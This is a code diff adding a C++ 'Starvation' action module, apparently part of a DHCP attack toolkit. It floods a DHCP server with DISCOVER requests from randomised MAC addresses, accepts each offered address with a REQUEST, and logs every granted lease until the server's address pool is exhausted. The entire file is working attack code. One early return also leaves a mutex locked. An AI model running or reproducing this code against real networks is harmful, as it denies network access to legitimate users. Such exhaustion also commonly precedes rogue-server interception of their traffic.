|
| 1 | +#include <iostream> |
| 2 | +#include <cstring> |
| 3 | +#include <sys/time.h> |
| 4 | + |
| 5 | +#include <actions/Starvation.h> |
| 6 | + |
| 7 | +Starvation::Starvation() { |
| 8 | + pthread_mutex_init(&this->mutex, nullptr); |
| 9 | + pthread_cond_init(&this->cond, nullptr); |
| 10 | +} |
| 11 | + |
| 12 | +Starvation::~Starvation() { |
| 13 | + pthread_mutex_destroy(&this->mutex); |
| 14 | + pthread_cond_destroy(&this->cond); |
| 15 | +} |
| 16 | + |
| 17 | +void Starvation::action(Core *core) { |
| 18 | + DhcpPacket dhcpPacket{}; |
| 19 | + PacketInfo pktInfo{}; |
| 20 | + timespec maxWaitCond{}; |
| 21 | + netaddr_mac(req); |
| 22 | + int err; |
| 23 | + |
| 24 | + pthread_mutex_lock(&this->mutex); |
| 25 | + |
| 26 | + while (this->lastXid != 0) { |
| 27 | + timespec_get(&maxWaitCond, TIMER_ABSTIME); |
| 28 | + maxWaitCond.tv_sec += 10; |
| 29 | + if (pthread_cond_timedwait(&this->cond, &this->mutex, &maxWaitCond) == ETIMEDOUT) |
| 30 | + this->lastXid = 0; |
| 31 | + } |
| 32 | + |
| 33 | + eth_rndaddr(&req); |
| 34 | + eth_bcast(&pktInfo.phisAddr); |
| 35 | + pktInfo.ipDst.ip = 0xFFFFFFFF; |
| 36 | + pktInfo.toServer = true; |
| 37 | + |
| 38 | + dhcp_inject_discovery((unsigned char *) &dhcpPacket, &req, nullptr, DHCP_FLAGS_BROADCAST); |
| 39 | + if ((err = core->sendDhcpMsg(&dhcpPacket, DHCPPKTSIZE, &pktInfo)) < 0) { |
| 40 | + std::cerr << "Starvation action: " << spark_strerror(err) << std::endl; |
| 41 | + core->stop = true; |
| 42 | + } |
| 43 | + lastXid = dhcpPacket.xid; |
| 44 | + pthread_mutex_unlock(&this->mutex); |
| 45 | +} |
| 46 | + |
| 47 | +void Starvation::recvDhcpMsg(Core *core, PacketInfo *pktInfo, DhcpPacket *dhcp) { |
| 48 | + DhcpPacket packet{}; |
| 49 | + DhcpSlot *slot; |
| 50 | + netaddr_mac(chaddr); |
| 51 | + netaddr_ip(ipReq); |
| 52 | + netaddr_ip(serverIp); |
| 53 | + int err; |
| 54 | + |
| 55 | + pthread_mutex_lock(&this->mutex); |
| 56 | + |
| 57 | + if (dhcp->xid != this->lastXid) |
| 58 | + return; |
| 59 | + |
| 60 | + memcpy(chaddr.mac, dhcp->chaddr, ETHHWASIZE); |
| 61 | + ipReq.ip = dhcp->yiaddr; |
| 62 | + serverIp.ip = dhcp->siaddr; |
| 63 | + |
| 64 | + if (dhcp_type_equals(dhcp, DHCP_OFFER)) { |
| 65 | + dhcp_inject_request((unsigned char *) &packet, &chaddr, &ipReq, this->lastXid, &serverIp, DHCP_FLAGS_BROADCAST); |
| 66 | + pktInfo->ipSrc.ip = ipReq.ip; |
| 67 | + pktInfo->ipDst.ip = serverIp.ip; |
| 68 | + pktInfo->toServer = true; |
| 69 | + if ((err = core->sendDhcpMsg(&packet, DHCPPKTSIZE, pktInfo)) < 0) { |
| 70 | + std::cerr << "Starvation action(request): " << spark_strerror(err) << std::endl; |
| 71 | + core->stop = true; |
| 72 | + } |
| 73 | + |
| 74 | + } else if (dhcp_type_equals(dhcp, DHCP_ACK)) { |
| 75 | + slot = new DhcpSlot; |
| 76 | + slot->clientIp.ip = ipReq.ip; |
| 77 | + memcpy(slot->clientMac.mac, dhcp->chaddr, ETHHWASIZE); |
| 78 | + slot->serverIp.ip = serverIp.ip; |
| 79 | + slot->serverMac = pktInfo->phisAddr; |
| 80 | + gettimeofday(&slot->timeStamp, nullptr); |
| 81 | + slot->lease = ntohl(dhcp_get_option_uint(dhcp, DHCP_ADDR_LEASE_TIME)); |
| 82 | + |
| 83 | + printf("Ip: %s mac: %s\n", ip_getstr(&slot->clientIp, true), eth_getstr(&slot->clientMac, true)); |
| 84 | + printf("Ip: %s mac: %s\n", ip_getstr(&slot->serverIp, true), eth_getstr(&slot->serverMac, true)); |
| 85 | + printf("lease: %d\n", slot->lease); |
| 86 | + |
| 87 | + core->addToFreeSlot(slot); |
| 88 | + |
| 89 | + this->lastXid = 0; |
| 90 | + pthread_cond_signal(&this->cond); |
| 91 | + } else if (dhcp_type_equals(dhcp, DHCP_NAK)) { |
| 92 | + |
| 93 | + } |
| 94 | + pthread_mutex_unlock(&this->mutex); |
| 95 | +} |
0 commit comments